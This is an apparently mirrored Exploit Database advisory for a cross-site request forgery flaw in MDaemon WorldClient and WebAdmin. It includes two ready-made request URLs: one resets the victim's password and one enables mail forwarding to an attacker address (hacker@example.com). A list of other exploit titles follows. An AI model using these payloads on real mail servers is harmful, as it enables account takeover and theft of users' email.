Alt-N MDaemon WorldClient And WebAdmin – Cross-Site Request Forgery

Exploit Database
166 阅读

作者： QSecure

日期： 2013-02-18
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/38325/

source: https://www.securityfocus.com/bid/58076/info

MDaemon WorldClient and WebAdmin are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=hacker%40example.com

last Exploits
Alt-N MDaemon WorldClient And WebAdmin – Cross-Site Request Forgery的更多信息

Sync Breeze Enterprise 10.4.18 – Remote Buffer Overflow (SEH)：
ManageEngine Application Manager 14.2 – Privilege Escalation / Remote Command Execution (Metasploit)：
HP OpenView Network Node Manager (OV NNM) – ‘getnnmdata.exe ICount’ CGI Buffer Overflow (Metasploit)：
Nginx 1.3.9/1.4.0 (x86) – Brute Force：
CoDeSys SCADA 2.3 – Remote Buffer Overflow：
GLPI – ‘install.php’ Remote Command Execution (Metasploit)：
Apache Tomcat 5.5.0 < 5.5.29 / 6.0.0 < 6.0.26 - Information Disclosure：
quickshare file share 1.2.1 – Directory Traversal (1)：